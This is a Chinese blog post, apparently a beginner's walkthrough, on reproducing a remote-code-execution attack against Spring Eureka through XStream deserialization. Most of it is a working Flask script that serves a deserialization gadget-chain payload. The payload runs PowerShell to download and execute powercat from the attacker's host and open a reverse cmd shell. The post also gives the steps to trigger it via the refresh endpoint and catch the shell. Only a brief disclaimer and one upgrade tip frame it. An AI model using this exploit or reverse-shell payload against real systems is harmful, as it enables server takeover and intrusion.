当前位置:   article > 正文

小白实战 | spring Eureka Xstream Deserialization RCE 漏洞复现_eureka漏洞

eureka漏洞

声明:

       该公众号大部分文章来自作者学习笔记,请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者无关。

一、使用工具

        1.vps服务器

        2.python 脚本

二、复现过程

1.访问网站服务器是否出网

2.访问 /act/refresh抓包修改post 多重放几次就可以反向代理

4.利用目标<command></command>标签中攻击载荷达成反弹shell

  1. #!/usr/bin/env python
  2. # coding: utf-8
  3. # -**- Author: LandGrey -**-
  4. from flask import Flask, Response
  5. app = Flask(__name__)
  6. @app.route('/', defaults={'path': ''})
  7. @app.route('/<path:path>', methods=['GET', 'POST'])
  8. def catch_all(path):
  9. xml = """<linked-hash-set>
  10. <jdk.nashorn.internal.objects.NativeString>
  11. <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
  12. <dataHandler>
  13. <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
  14. <is class="javax.crypto.CipherInputStream">
  15. <cipher class="javax.crypto.NullCipher">
  16. <serviceIterator class="javax.imageio.spi.FilterIterator">
  17. <iter class="javax.imageio.spi.FilterIterator">
  18. <iter class="java.util.Collections$EmptyIterator"/>
  19. <next class="java.lang.ProcessBuilder">
  20. //攻击载荷,下边为windows反弹shell代码,分成三部分,
  21. //1、执行的应用程序
  22. //2、访问远程加载的程序
  23. //3、执行程序
  24. <command>
  25. <string>powershell</string>
  26. <string> IEX (New-Object System.Net.Webclient).DownloadString('http://0.0.0.0:8081/powercat/powercat.ps1'); </string>
  27. <string>powercat -c 0.0.0.0 -p 9999 -e cmd</string>
  28. </command>
  29. <redirectErrorStream>false</redirectErrorStream>
  30. </next>
  31. </iter>
  32. <filter class="javax.imageio.ImageIO$ContainsFilter">
  33. <method>
  34. <class>java.lang.ProcessBuilder</class>
  35. <name>start</name>
  36. <parameter-types/>
  37. </method>
  38. <name>foo</name>
  39. </filter>
  40. <next class="string">foo</next>
  41. </serviceIterator>
  42. <lock/>
  43. </cipher>
  44. <input class="java.lang.ProcessBuilder$NullInputStream"/>
  45. <ibuffer></ibuffer>
  46. </is>
  47. </dataSource>
  48. </dataHandler>
  49. </value>
  50. </jdk.nashorn.internal.objects.NativeString>
  51. </linked-hash-set>"""
  52. return Response(xml, mimetype='application/xml')
  53. if __name__ == "__main__":
  54. //该文件是用于在payload中的地址,即为攻击机的ip,因为运行在本机上,直接写0.0.0.0即可,端口随意
  55. app.run(host='0.0.0.0', port=8000)

5.使用 python 在自己控制的服务器上运行以上的脚本,并根据实际情况修改脚本中反弹 shell 的 ip 地址和 端口号,在修改完成就 启动脚本即可

6.监听反弹 shell 的端口

三、修复建议

  1. 将Spring Eureka的版本升级到安全的版本,例如,如果你使用的是Spring Cloud版本,可以升级到最新的修复版本(例如,如果是Hoxton.SR10,那么应该升级到Hoxton.SR11或更高)。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/我家小花儿/article/detail/717666
推荐阅读
相关标签
  

闽ICP备14008679号